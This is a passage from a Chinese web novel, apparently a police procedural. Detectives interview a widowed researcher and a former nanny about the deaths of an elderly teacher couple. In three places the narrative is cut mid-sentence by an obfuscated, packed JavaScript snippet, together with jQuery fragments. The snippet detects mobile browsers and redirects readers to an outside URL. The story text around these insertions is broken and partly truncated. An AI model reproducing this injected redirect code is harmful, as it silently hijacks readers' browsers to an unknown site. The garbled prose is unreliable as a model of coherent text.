王浩道:“但他们夫妇这种情况,没有人照看不合适吧?多给点钱不行吗?” “应该是多给不了吧。”摇了摇头,林清音道:“我们的婚房是他们家买的,结果正好买在了最高点上。首付一共四百万,叙白出了二百万,他爸妈出了二百万,里面三十万刷了信用卡,三十万是借的,应该是没还清。” 王浩道:“那房子现在还还着贷款吗?” “没,叙白出了事之后就卖了。”林清音道,“房贷一共六百多万,一个月光月供就三万六,我一个人根本还不了。这两年房价跌得厉害,房款抵完贷款基本就不剩什么了,如果我没记错的话,银行给到他爸妈手里的应该只有七八万。” 和段二哥差不多的说法,看来这老两口经济状况是真一般,为财谋害的可能性基本可以排除了。王浩顺口问了一句:“那你这是回来出差吗,现在是住在哪儿?” 林清音却摇了摇头:“我不在魔都住。” 王浩十分诧异:“你工作单位不是还在魔都吗?” 林清音道:“我们是科研机构嘛,上一休六,时间比较宽松。大家都是在家里看书写文章,主要是能出成果,不强求打卡出勤。所以我都是在老家住,和我妈妈一起。” 脑子一时没转过弯来,王浩下意识听成了上六休一,心想这哪宽松了,他们好歹还是五天一个班呢。等看到自己记下来的东西,他不可置信盯着林清音,发出了灵魂质问:“啥?上一休六?” 说错了吧?社会主义国家怎么可能会有这么大的工时差距? 林清音却很自然地点了点头:“是啊,所以我都是住在家里,上班的话当天去当天回。” 嫉妒令人面目全非。王浩的眼神都不对了,两个大黑眼圈充满了怨念:“你们几点上班啊?不用值班吗?” “九点打卡。值班倒是不用,非政府机关一般都是不值班的吧?”大概是他的表情过于狰狞和扭曲,林清音主动解释道:“我说的上一休六只是说打卡日就一天,其他时间也不是就能不干活,还是要写东西的。单位对成果有要求,一年至少要发一篇论文。” 他们休班也不是就能不干活的啊! 不断地告诉自己这是学霸应得的,但王浩还是忍不住酸成了一个柠檬。明知道和案情无关,他还是忍不住问道:“你们单位招人都是要求啥条件啊?” 想了想,林清音道:“条件也不高。硕博对学校是有点要求,然后得有海外交流经历。不过本科无所谓,是个985就行。” ……是个985就行。 拒绝自取其辱,王浩保持微笑,并明智地转移了话题:“江叙白爸妈人怎么样?和谁有过什么矛盾吗?” 想了想,林清音摇了摇头:“我和他爸妈接触不多,叙白出事之前统共见过两回,一回订婚,一回结婚。现在也就是偶尔看看,这个实在说不好,不过感觉他爸妈都是讲道理的人,应该不会有什么大的矛盾吧。” 这回答也在意料之中,王浩点了点头,感觉该问的都差不多了,坐在一边久不开口的徐建却忽然道:“你和江叙白是怎么认识的?” 没想到他又问一遍,林清音愣了一下,但还是轻言细语回答道:“相亲认识的,恰好是同乡,慢慢就熟了。” 徐建道:“我看其他人笔录,他出事之后你去看过他父母两三回——你说你们感情谈不上多好,和江叙白父母也并不熟悉,为什么能做到这一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“照理是,不过我们情况可能不太一样。”林清音揉了揉眉心,“我有绿卡,本来也是打算在国外定居的。那些年经济形势不错,我专业又是金融嘛,投资小赚了一笔,所以就买了套房子,手里就没剩多少流动资金了。后来回国结婚,叙白的房贷也基本是他自己还。现在他出了事,我下一步去哪里不好说,去研究所之后收入又少了2/3,手里虽然有些存款,但也不多,所以综合考虑吧。一方面还贷的压力确实挺大,另一方面也是觉得没有必要。” “行,我们明白了。”沉吟了片刻,徐建站起身来,“感谢配合。后期尸体火化得有人签字,如果有需要,我们再联系你。。” 林清音也起了身:“我和江叙白父母已经不存在法律上的亲属关系了,我签字符合规定吗?” “江伟华已经没有三代以内的近亲属了,我们到时候也要找他生前的单位,你们都给签上就行。”王浩解释道:“规定是规定,但他这种情况没有办法,你算是和他关系最近的了。” 林清音颔首道:“好的,那到时候你们再联系我。” 夜色黑沉,此时已经将近十点。王浩送她下楼。林清音礼貌道谢,走向她的黑色奥迪。北风刮过,她乌黑的长发被吹起,在白色蕾丝手套的映衬下愈显光亮。 看她,眉眼弯弯,王浩的心情也不自觉放松了许多。 ——要是辖区都是这种守法公民该多好,他们能少加多少班啊! 5. 现在考公务员的人越来越多,考上的越来越少…… 王浩刚一上来,高文就神神秘秘地靠了过来:“诶,老王,刚才和你走在一起的那个女生是谁啊?就穿旗袍那个。” 拿眼斜乜着他,王浩道:“好啊,你小子春心动了?” 没有否认,高文嘿嘿一笑:“她是干什么啊?” 呷了口茶,王浩悠悠道:“科研人员。” “哈?”高文震惊道,“咱们新来的同事?法医?” “……法医属于技术人员,小高警官。”王浩扶额,“人家在金融研究所工作,正儿八经的科研人员。” “那她是来干什么的?”高文道,“报案?什么案子?信贷纠纷不归咱们管啊。” “……请停止你的幻想,高文同志。”王浩翻了个白眼,“她那是死者家属,就冻死那老太太的儿媳妇。” “啊?”高文惊呆了,“不是,那姑娘看着也就二十五六啊!” 清了清嗓子,王浩比了三个指头,“林清音,今年三十二岁,婚姻状态为丧偶。B大本硕,某常春藤高校博士,金融专业。曾就职于沪市X金证券,现在是沪市社科院金融研究所的研究员。” 看着春心破碎的高文,他悠悠道:“好消息是学霸工作时间宽松,长期住在咱们这儿,倒是不异地。而且现在不都流行小奶狗吗,说不定她经历了丧偶之痛后,愿意找个傻乎乎的警犬治愈心灵,共度余生。” 蔫头耷脑,高文整个人都不好了:“她长得也不像学霸啊!” 学霸不都是呆呆的,板板的,戴着副眼镜像个正方形吗? 王浩一脸高深:“最高级的学霸,往往以学渣的形象出现。” 抱着可乐,小钱小声说:“学渣也不一定是艺术生,还可能是学体育的。” 比如他。 王浩没忍住,噗嗤就笑了起来。两人这一唱一和,好不容易心动一次的高文越发伤心:“你说,她其实也看不出来年龄,怎么就结过婚了呢?” 五岁是大得多了点,但是……学霸看着不像啊。 “别想了。”拍拍他的肩膀,王浩道,“就人家那智商水平,估计看你跟你看哈士奇差不多。” 高文不服气:“我也是公安联考进来的,我还是我们宿舍考得最好的呢。” 公安联考难度虽然低一点,但机关一样不好考。除了机关,新人不管考的啥岗一律下派出所。这两年考公大热,警校分数水涨船高,他算是考得很不错的了。 “小高同志,接受现实吧。”叹了口气,王浩道:“看人家这简历,跟开了挂似的。要有这脑子,你早考进公安部了。” 高文被戳到伤心处,嗷呜一声,成功引来了在徐建办公室门口排队等签字的唐彦。 “文儿,不要伤心了。”磕着瓜子,唐彦安慰道:“现在考公务员的人越来越多,考上的越来越少,中公都快倒闭了。虽然你这辈子考不上公安部,但万一下辈子考上了呢?” 这话不啻揭开他的伤口撒了一把盐,还捎带了香喷喷的胡椒和孜然粉。 高文怒起想给他一记暴栗,却被唐彦灵活躲过并顺走了桌子上的红牛。拍着桌子,王浩爆发式笑了起来,笑过之后又忍不住说道:“虽然文儿脱单无望,但有一说一,我总觉得她名字有点耳熟。” 唐彦一边哐哐灌红牛,一边含糊不清道:“谁啊?” “就那个女生呗。”王浩道,“我总感觉好像在哪里听过,林清音,林……” “哈?那女生就是林清音?”唐彦一拍大腿,“我靠!这不是咱们市的文科状元吗?” 高文已经惊呆了:“啊?” 唐彦道:“她是我们学校的,好不容易出了这么个市状元,她的照片在我们宣传栏里贴了好几年。我们班主任上一届带的就是她,天天和我们念叨。咋,她就是?” “我就说怎么觉得耳熟!”王浩也反应过来了,连连扼腕:“她和我是一届的,就我们那届的文科状元!我爸妈不都老师吗,那会听他们说过。” 捋了一把高文的毛,唐彦惋惜道:“算了吧,我高,你们智商有壁。你和她在一起是不会幸福的。” 高文蔫得更厉害了。 顺着这个话头,王浩和唐彦有一搭没一搭闲聊起来:“话说她爸妈是做什么的?我听她说从小父亲去世,但这一看家庭条件就不错啊。” 害了一声,唐彦道:“她爸妈都是老师,爸爸是车祸去世的,赔偿金应该给了不少,学校又还有遗属补助,经济条件比正常双职工家庭是要差点,不过总体属于还不错的那种。” 咦了一声,王浩道:“我看她这一身贵气的,倒和你嫂子追的短剧里,那叫啥留学大小姐的挺像,还以为是哪个大领导的闺女过来了。” “那估计是后来养出来的。她博士不是出国了?这种见过世面的,肯定和咱们不一样。”唐彦道,“你想说的那是留洋大小姐吧?我对象最近也在追这玩意儿。” “对对对,你可真聪明,我的糖。”王浩给了他一个赞许的眼神,“她这一看就和咱们不是一个世界的人。” “去去去,谁是你的糖,我可是有对象的。”唐彦翻了个白眼,一锤定音:“总之,她和咱们不一样。上学那会就不一样,现在更不一样。” 看着越来越萎靡不振的高文,小钱小声道:“那咱们高哥咋整啊?” 翻了个白眼,王浩道:“得了吧,他就是见色起意,等见了相亲对象就老实了。” 用胳膊肘捅了捅高文,唐彦道:“话说你这相亲对象啥情况啊?” 高文仍是一副无精打采的模样,翻了个白眼以示懒得搭理他。 王浩插嘴道:“喻淑,29岁,身高176,市一中的老师,本科、研究生都是211,爸妈都是医生,有个哥哥在区人民医院。” “咦?”王浩提出疑问,“爸妈都是双职工,她咋还有个哥哥呢?” “说不定是双胞胎呢,我爸单位里就有,不过,”唐彦好奇道,“这么高的女生可不好找,长啥样啊?” 一说这个,高文更没劲了:“可别提了,根本没见上面。她今年带高三。自从大上周加上微信,我和她就没说上几句话,不是我加班就是她补课。这回好不容易约上了,结果这案子一出,豁,又要凉了。” 作为一个新婚男人,唐彦摩拳擦掌、跃跃欲试,迫不及待就要给他出谋划策。奈何楼道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609769|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里却传来了不合时宜的声音,他一回头,就看到法医小赵从徐建办公室走了出来,冲他打了个响指。 唐彦秒懂,对高文做了个回头再聊的口型,整了整衣服,规规矩矩地敲门进屋:“队长,咱们这个周的工作计划,跟您汇报一下。” 徐建翻看了一遍,确定没什么问题后签了字,说道:“你把王浩叫过来。” “好嘞。”唐彦应下,带上了门。没过一会,王浩就敲门走了进来:“老大,你找我?” 没有抬头,徐建的眉头蹙在一起:“段洁的尸检结果出来了吗?” 王浩愣了一下,马上反应过来:“昨天问了,说是在考虑,我再催一催。” 点了点头,徐建道:“尽量说服段洁家属,咱们争取尽快给她做个尸检。” 王浩道:“好的。”顿了顿,他又道,“队长,江伟华已经没有家属了。这种按规定只要咱们有怀疑就可以做尸检,要不咱们先把他的给做了?” 徐建摇了摇头:“他的不急,这个案子主要是段洁。” 案子?王浩眼皮一跳,忽然就有种不祥的预感:“您是说段洁夫妇这个事儿,咱们按案子来办?” 嗯了一声,徐建道:“看段洁尸检结果吧,我总觉得哪里不对劲。明天你带着小高去他们单位走访,看看他们两口子风评怎么样,有没有和谁有突出矛盾,再联系联系朋友熟人,排查一下主要社会关系。” 江伟华夫妇的死给他一种古怪的感觉。老刑警的直觉令他本能感觉不对,可又说不上来是哪里不对。 挠了挠头,王浩道:“您主要是觉得哪里有问题?我们有个大概的排查方向,也好提前做个准备。” 江伟华夫妇的遭遇虽然令人唏嘘,但是从警以来,独子意外去世导致家庭破裂的悲剧他也见了不少,实在看不出来有什么问题。 沉吟了片刻,徐建道:“既然都说他们经济状况不好,那就让小钱查借贷关系,拉个银行流水出来,看看有没有债务纠纷。还有双方亲戚,就算他们两口子没啥存款,抚恤金也不会少,不排除有人盯上了这笔钱。江伟华没有亲属,如果有问题,大概率出现在段洁这里。退休老师很少会有仇家,但如果真是命案,也不能完全排除这种可能。你们主要找他们保姆问问。” 王浩有些犯难:“可是队长,咱们上一个案子结案报告还没写完。还有您的述职报告、咱们队的绩效考核报告和年度总结,咱们这周五都得交。如果我和小高都出去的话,小唐一个人恐怕写不完。” “怎么还有这么多报告?小唐不才刚弄完两份党建大材料吗?”揉了揉太阳穴,徐建有些头疼,“都得这周交?” 王浩小声说:“机关党委催咱们好几回了。” 徐建道:“我去和他们孙处说,你们专心办这个案子。让小唐弄好了初稿,直接来找我改,你就不用管了。” “好嘞!”好比移走了一座大山,王浩夹着文件兴冲冲地往外走,迫不及待地想向一屋子受苦受难的加班狗宣布这个特大好消息。 却听徐建忽然开口:“对了,林清音也盯着点。给西南省那边打电话,核实一下江叙白的车祸情况。” 6. 是不是叙叙他妈走丢了? “哈?队长说继续查?”唐彦挠头,有些奇怪,“这不就是个意外事件吗,有啥好查的啊?” “老大说他总感觉哪里不对。”王浩分析道,“不过我觉得主要还是年底怕出事。本来这就才刚开完会,说这几年失独人员不少上访的,有人在计划生育政策上带节奏,李局还专门说让都注意着点。万一这不是意外是故意杀人,闹出来影响就太恶劣了。” “行吧,就算为了咱们的三万五千块钱。”勉强打起精神来,高文默默碎碎念,努力给自己打气,“绩效绩效,有绩效。” 唐彦一脸绝望:“可这材料真的也太多了啊!” “行了,我糖。”王浩无情批判,“本来这些材料周五就要交的。” 哀嚎一声,唐彦道:“啥时候能AI能进军材料啊!谁要能干得了这事,我一定一天给他上三炷香,求菩萨保佑他长命百岁。” “共产党人不能信教,小唐同志。”高文故意咳了一声,“注意意识形态问题。” 唐彦灵活改口:“那就祈求伟大的马克思晚点召见他。” “别贫了,干活。”敲了敲桌子,王浩道:“小高咱俩去走访,下午就去找保姆。小钱查查她家地址。小唐登内网查电话,核实江叙白的车祸情况。” “哈?队长怀疑学霸有嫌疑?”唐彦震惊,“不至于吧?” “老大怀疑江家一家三口的死蹊跷。江叙白是第一个死的,她是江叙白配偶,当然是第一嫌疑人。”王浩翻了个白眼,“不要让学霸滤镜过滤了你的专业知识。” “不是,虽然江叙白出车祸的地方又偏又远,那个经办的伙计还连话都说不清楚,但他们肯定耶是查过了才能结案啊。”唐彦道,“就算退一万步,真是她制造意外杀了她老公,卷宗那么粗糙,时间又过了这么久,咱们能查出来个啥东西?” 高文也有些质疑:“而且她有什么要杀了老公的理由啊?结婚才不到一年,孩子都没有。日子过得好好的,结果一下子头婚变二婚,除了江叙白他爸妈,江叙白一死数她最倒霉啊!” “停,两位小同志。”王浩有些头疼,“老大只是让打电话问问,没人真说她杀了她老公啊。” “行吧。”唐彦道,“不过我还是觉得学霸这边查不出什么东西,还是找保姆排查社会矛盾更靠谱。段卫国不还说过,段洁怀疑保姆要害她吗?说不定保姆身上能有点东西。” “那当然,我的糖,不然为啥那四份大材料还在你手里?”王浩一脸怜惜,“不过也说不准,万一学霸真有嫌疑,或者查出来他们家有啥内部矛盾,你这波就立大功了。” “……”活像窗台上萎靡的绿萝,唐彦翻了个白眼,有气无力地挥了挥手:“走吧走吧,拉呱是你们的,我什么都没有。” 高文打了个呼哨:“我钱,江伟华家保姆的具体信息查到了吗?” 小钱道:“咱们区的江家庄,再具体得到村里问了。” *** 江冬梅,小名四妮,今年五十一岁,已婚。丈夫常年在外务工,育有一女一子,女儿已经结婚,儿子正上大学。 拿着保姆的基本信息,高文一路开车到了江家庄。 江家庄自打六年前划进了沭东区,财政拨款前所未有的充裕,村里修得全是水泥路,路边都是漂亮的两层自建房,高的还有三四层的,红顶黄墙,看着赏心悦目。 房子建得气派,车肯定也少不了。高文留了个心眼,把局里那辆破桑塔纳停到了村东头小学门口。一进村里,果然小轿车一辆跟着一辆,根本找不到地方停车。左右看了看,高文不禁感叹道:“这村里怎么这么有钱啊?” 顺手把地上的烟头踩灭了,王浩道:“这离市中心不远,有班公交能进城。白天走晚上回来,工地上出大力气的活都不少赚,就是都是辛苦钱。” 高文嘟囔道:“咱这也是辛苦钱啊,啥时候也给配个新车。这一路呼哧呼哧的,我看咱这车又要坏。” 这桑塔纳的从警时间比他们办公室四个人加起来还长,眼看就要二十年了,不是这里坏了,就是那里破了。这回空调又不转了,一路差点把人给冻死。 同样冻得打哆嗦,王浩道:“别想了,回头给后勤说一声,他们能找人给修修就不错了。” 高文道:“下次再出来要不先开我的车,反正老大也不知道。” 两人一路说着进了村。村口的超市兼着做菜鸟驿站,有个七八岁的小男孩站在外边玩二踢脚。高文走过去招呼他:“你家大人呢?” 那小男孩倒不怕生,乌溜溜的大眼看他:“你干啥的啊?” 高文随口诌了个理由:“买东西的。” 那小男孩道:“俺姑奶奶不在,不过俺姑在呢,你等一下。” 他噔噔噔往里跑,不一会就领了个时髦女人过来,她看着不过三十出头的年纪,又瘦又高,穿着墨绿羽绒服,烫着羊毛卷,眉间有颗红痣,浓眉大眼,容貌艳丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609770|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,颇有些上个世纪七八十年代港星的韵味:“买什么啊?” 不由多看了两眼,高文心里称奇,暗想她不去当网红真是可惜了。不过任务在身,也没工夫多磨蹭,随手往货架上一指,他道:“那包烟多少钱?” 瞄了一眼,羊毛卷道:“十块。” 高文道:“来两包。” 趁着扫二维码付款的功夫,高文趁机道:“哎,你知道四妮家往哪走吗?” 抬头上下打量他一眼,羊毛卷奇怪道:“你找她干什么?” 这就是知道了。高文笑着收了东西:“走亲戚,是我姑家的妹妹。我就记着住村东头,哪家给忘了。” 听他说得有鼻子有眼的,羊毛卷也没再多想。看在烟的面子上,顺手往北一指:“往前直走,第三户那个蓝大门的就是。” “谢嘞。”高文揣着东西出去,成功与看老头打麻将的王浩会和。 见又是两包烟,王浩奇道:“你又从来不抽,买这个干什么?” 高文老神在在:“当然是这个最便宜啊,难道还指着这儿的老板给咱开发票?” 哧的笑了一声,王浩道:“回去研究研究能不能给报成办公费,现在报销可忒麻烦了。” 门半掩着,高文上前敲了敲:“家里有人不?” 一个粗粗壮壮的妇女应声回头。面相倒还和善,看着五十出头的模样,正在西南角的水泥台子上刷碗,动作十分麻利。见他们过来,把手往衣裳上一抹:“诶,你们找谁啊?” 高文把证件一亮:“公安局的,找江冬梅。” 这架势成功把江冬梅唬住了。约莫是把毕生干过的坏事都在脑子里过了一遍,她才像有了底气似的开了口:“你们来干啥,俺可没犯事啊!” 王浩和气道:“不是你,是叙叙一家的事儿,我们想找你问问。” 他长得圆胖圆胖的,看着很有亲和力。年纪又大些,像个领导的样子。磕磕绊绊换成了一口还算流利的普通话,江冬梅半信半疑:“为啥问我?他家出啥事了?” 高文眉毛一挑:“你怎么知道他家出事了?” 江冬梅反问:“他家要是没出事,你们公安来找我干啥?” 高文被噎了一下,倒是王浩笑呵呵的:“你觉得是出了啥事?” “这大冬天的,你们跑这么远来找我,肯定不是啥好事。”听他这语气,江冬梅叹了口气,把他们迎进屋里,“是不是叙叙他妈走丢了?” 7. 江伟华资助过学生? 两人震惊地对视了一眼,王浩率先问道:“段洁之前走丢过?” 江冬梅摇了摇头:“没,不过我觉得早晚的事儿。” 王浩赶紧问:“怎么说?” 指了指自己的头,江冬梅道:“叙叙他妈有老年痴呆,得了这病不就是到处胡跑吗?我们村里都跑没了好几个了。家里要是报了警,你们就过来挨户问。我在他们家干过,那肯定得来问我啊。” “段洁病情也没有那么重吧?我们看了病历,她是轻度的,抑郁倒是中重度,但也没有自杀倾向。”高文提出质疑,“你咋就觉得她会走丢呢?” “她那病怎么不重?要我说,可不只是老年痴呆,那是精……”这话显然戳了江冬梅的心窝子,‘精神病’三个字就要脱口而出,她还是硬生生忍住了。叹了口气,她道,“公安同志,这里没旁人,我说句不怕得罪人的话——叙叙他妈人是真不孬,但她那脑子确实是有点毛病,要不我也不能辞了不干了啊!” 王浩道:“所以你觉得段洁其实是得了精神病?” 赶紧打断他,江冬梅急了:“哎,哎!这可不是我说的啊!” 王浩从善如流:“行,是我们问别人问出来的。” 江冬梅这才稍稍放下了心,还不忘了嘱咐:“你们可千万别跟旁人说啊!” 高文追问:“段洁脑子是怎么个不正常法?” “我也不知道了,反正就不大正常。”意识到说漏了嘴,怕得罪人的江冬梅开始撵他们走,“我一共干了没几天,这都走了快两个月了,旁的我也不知道,你们再问问别人去吧。叙叙他爸又不糊涂,怎么还找到我这里了?” 高文道:“我们也想问,但问不了他了。” 江冬梅道:“嘿,这是什么话,叙叙他爸还能走丢了不成?他一个偏瘫的老头子还能带着床飞了啊?” 高文的声音冷飕飕的,比窗户缝里钻进来的北风还刺骨:“因为他死了。” “啥?”江冬梅张开的嘴都没来得及合上,甚至还有些茫然,“谁死了?” 王浩叹了口气:“江伟华夫妇都死了。江冬梅,你是他们死前接触最多的人,所以我们来找你问话。你必须要如实回答我们。” 江冬梅呆住了,直愣愣地看着他俩,过了好半天,才咕咚咽下去一口唾沫:“你说他们两口子都死了?” 同时保持了沉默,两人无声地回答了她的问话。 “不是,他两口子又没啥大病,咋还能都死了呢?”一脸的不可置信,江冬梅抓着王浩问,“我走的时候他俩还好好的啊!” “所以我们这不来找你了?”王浩叹气,“段洁精神状况到底什么样?” 事关两条人命,江冬梅也不敢搪塞了,苦着脸说道:“就是神神叨叨的,一天到晚自言自语,对着空气说话。你问她和谁说话,结果她说是叙叙,还让给我打招呼,管我叫姑,说得有模有样的——你说这搁谁不得瘆得慌?” 时常出现幻觉是精神病的症状之一,江冬梅这个精神病的评价还真不见得不准,回头得再查查段洁的就诊记录。心里这么想着,王浩问:“她这样多久了?” “反正自从我去她就这样了。”江冬梅道,“听她天天这么说,我有时候都跟听到什么人说话似的。本来新城那边的小区就空,一栋楼根本没住几户人家,晚上那跟鬼城似的,她又这样,心里那是真吓得慌啊!我找大师求了两回签都不管事,想着再呆下去我迟早也得出毛病,这不就赶紧辞了?” 王浩愕然:“求签?” 江冬梅很自然地点了点头:“是啊,就我们后山庙里的桃木符,都说可灵了,哪知道还是镇不住啊!” “……”封建迷信不归他们管,王浩没和她纠结这个问题,径直问道,“你觉得你走的时候,她症状比刚开始是轻点还是更严重了?” “没啥差别吧?都挺严重的。”江冬梅忍不住大吐苦水,“去的时候就说今天叙叙不在,等回来让他给我捎点吃的过来。临走的时候说让叙叙送送我,吓得我手表都忘他家了,这么长时间也没敢回去拿。” 高文忍不住插了一嘴:“她一开始就这样,那你还敢去啊?” 江冬梅叹气:“那不是没钱吗?我们这些打庄户的,哪跟你们这种吃国库粮的似的不干活也有钱拿,不能干也得硬着头皮干啊!要不是后边我自己都要精神不正常了,那还干着呢!” 连着加了一个月班的高文悄悄翻了个白眼,王浩倒是习惯了,好脾气道:“除了这个,段洁还有啥表现不?” 想了想,江冬梅道:“没旁的了。她也就是忘事,记不清年岁,一会想着叙叙上高中,一会想着上小学。有时候记起事来,知道叙叙没了,就偷偷抹眼泪,哭她命苦——要我说,她糊里糊涂的也好,要不这日子可怎么过啊!” 说到这里,她语气也颇有些唏嘘:“你说这一家子好好的,怎么就遭了这事呢?” “独生子没了,这日子还能有啥盼头?”王浩也跟着叹气,“那江伟华呢,他是个什么情况?” 江冬梅却先问了一句:“两位公安,叙叙他爸是怎么死的?高血压发作?” 其实根据现场和初步尸检来看,江伟华是饿死的。不过目前显然没有透露案情的必要,两人对视了一眼,都没有说话,算是默认了。 看他们这反应,江冬梅愈发叹气:“照理我说这话不好,到底好死不如赖活着。可说句实话,叙叙他爸这是解脱了啊!” 王浩道:“怎么说?” 江冬梅道:“叙叙他爸惨啊!别看他不能动了,脑子可清楚着呢。眼看着儿子死了,老婆疯了,自己还瘫在床上成废人了,你说他咋样?之前多体面一个人,现在吃饭、屎尿都得人伺候,还动不动就淌口水淌一脸。有时候我给他擦嘴,他看着床头那张全家的合照,眼泪就下来了。那会我就觉得他活不长了,就是没想到能这么快。” 王浩问:“江伟华能正常说话吗?他和你说过什么没?” “说不了,他嘴都斜歪了,喉咙里嗬嗬的,想说句话得攒一天的劲。”江冬梅摇了摇头,“我在他床头安了个铃,有事他就按一下。除了拉尿,基本上没叫过我。” 王浩道:“他手指头能动?” “能,不过也就手指头能动了。他本来就抢救晚了,受打击又太大——睁睁睁看自己绝了后,这不是要命了吗?”江冬梅唉声叹气,“说真的,这还不如一下子过去了呢,怎么不比活着受这罪强?” 从她屡次三番提及人还不如直接没了,听得出江伟华的境况不是一般的糟糕。高文在旁边记着,王浩继续问:“有谁去看过他们两口子吗?” “我去的时候就没什么人了。听说之前去看的人不少,他盟兄弟、单位里的人都去,叙叙他妈的娘家亲戚也一块去看过。我在那儿的时候就她二哥去过一两回,娘家外甥侄子去过几个,还有叙叙他老婆也去过一回。” 捕捉到了敏感词,王浩不露声色:“叙叙他老婆啥样?” 江冬梅道:“长得怪俊,还会打扮,说话也和气,人不孬。” 王浩道:“她呆了多久,都干了什么?” 江冬梅想了想:“也没多久,一共就一上午。来了也就和她公公婆婆说说话,问问我这几天都什么样,好点没。中间我去炒菜,她帮忙搭了把手,照看了她公公婆婆一会,之后吃了个中午饭就走了。” 和林清音询问笔录基本吻合。王浩点了点头,转而问起其他人来:“那段洁外甥、侄子什么的呢?” 摇了摇头,江冬梅道:“我认不清脸,反正也过去两三回吧。基本也都是说说话,吃个饭就走,还有没吃饭就走的。听他们说有几个要过 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嗐了一声,江冬梅道:“现在房子还值啥钱?买到手就亏!我听叙叙的小姨说,给叙叙买的那套首付全亏干净了,还倒欠银行钱呢!他们那套也得折了将近一半,能把外面欠的钱还上就不孬了。” 王浩道:“那不还有抚恤金吗?人要是死了,单位还得给亲属发钱呢。” “人死了单位还给发钱?”江冬梅一脸的震惊,“能给发多少钱啊?” “那我就不知道了,但肯定得有。”她这反应完全不是能装出来的,王浩搪塞过去,“不过他们两口子这样,以后送殡什么的是谁管,你听段洁娘家亲戚商量过吗?” “那没有。”江冬梅道,“他们都还觉得这两口子能再活些年头呢,就叙叙他二舅提过一嘴,说不行就谁家小孩有空谁去。反正一共就那点,还不是现钱,又得卖房子又得还银行债,忙前忙后的折腾,搞不好最后还得倒贴,也没什么争头。我看其他人也都没说什么,叙叙小姨还说不行让银行把房子收走算了,出殡什么的,他们两口子卡里有多少钱算多少,他们各家再添补千儿八百的,也就给办了。” 王浩道:“听你这么说,段洁娘家亲戚还都不孬?” “那不孬,我看她兄弟姊妹处得都怪好。”江冬梅这话说得真心实意,“尤其叙叙他妈那二哥,我看还挺疼她的。又是带着她看病,又是找护工找医生的,这跑前跑后的挺费功夫,这兄弟真是怪好。” 得,财产纠纷也基本排除。王浩忍不住说:“照这么一说,这两口子是和谁都怪好,那是标准的好人啊!” 江冬梅唉声叹气:“那可不?都说这么好的人咋遭了这种事呢。听人说他可负责了,还资助过学生,那可是好老师啊!” 听她这话,两人顿时精神一振,异口同声地问:“资助过谁?” 这可是重大线索啊! 被他俩这阵势给吓了一跳,江冬梅说:“我,我也不知道,就是听人说的。他单位的人过去看他的时候说的,也没细说,就说有个学生一个月给他三千块钱。叙叙他二舅也说叙叙他爸有个学生,人还挺好,经常去他家看看,不过我在的时候没见过。” 两人对视一眼,王浩赶紧问道:“那学生叫什么名字你知道不?” 眯着眼,江冬梅仔细想了想,半天才说道:“好像叫王什么。” 王姓在沭市是大姓,人口普查十个里面起码四个姓王。叹了口气,王浩道:“您再想想,好歹再想起来个字吧?咱这儿姓王得太多了,你看我就姓王。” 像泄了气的皮球,高文吐槽道:“那总不会叫王浩吧?” “哎,哎,对了!”江冬梅一拍大腿:“王涛!王涛!我想起来了,和我二姐家的小孙子一个名儿!她们家小孩是水字辈,大的叫王浩,小的就叫王涛!” 8. 这个长期资助,是怎么个资助法儿? 天寒地冻,北风呼号着。东沭区第一中学搬迁在即,老校区好似被打入了冷宫的妃子,处处是一片荒凉的景象。破旧的牌匾在墙上斜歪着,上面的油漆掉得七零八落,“喜迎新春”的横幅被冬风吹得哗哗作响,无处不昭示着这所中学的破败。 车还是自己的舒服,高文在学校门口就近找了个地方一停,就直奔学校大门。不等他们敲门,警卫室的门就已经开了。迎上来的是个五十来岁的中年男人,头发稀疏,愁眉不展。看他们过来,努力笑了笑,伸出手来:“两位警官好,大冬天的辛苦了。” 提前联系过学校,知道这就是教导处主任郭强了。王浩忙与他握了握手,并出示了自己的警官证:“郭老师好,寒假打扰了。” 简单扫了一眼,郭强叹了口气:“不打扰不打扰,老江的事儿劳烦两位费心了。这边请坐,想问什么就问吧。” 以学校的破败程度,空调这种现代化设备自然是没有的,不过屋里烧了憋气炉子,倒也暖和,郭强给两人一人沏一杯茶,又要递烟。王浩一看,是个本地出名的牌子,一包就五六十,显然不是学校能报销的货。再看他那穿了不知多少年的皮夹克,一咂摸就明白过来,要么是两人关系很不错,要么是心里有鬼。不过看郭强的表现,他直觉是前者。心里有了底,王浩接了茶,道了谢,问道:“江老师夫妇的事儿,您已经知道了吧?” 郭强点了点头:“校长和我说了,到时候老江两口子的后事我来负责。” 王浩道:“那就好说了,我们正愁不知道找谁去。我看江老师老两口就一个独生子,去年人又没了,要不是学校通情达理,真是连后事都不知道谁给办。这老两口都才六十来岁,实在是可怜啊!” 果然,郭强眼眶也是红了:“这都是命啊!你说老江两口子都是和善人,怎么就遭了这种事啊!” 王浩道:“我们这也问过一圈了,就没一个说江老师两口子不好的。听您这意思,您和江老师关系也还怪好的?” 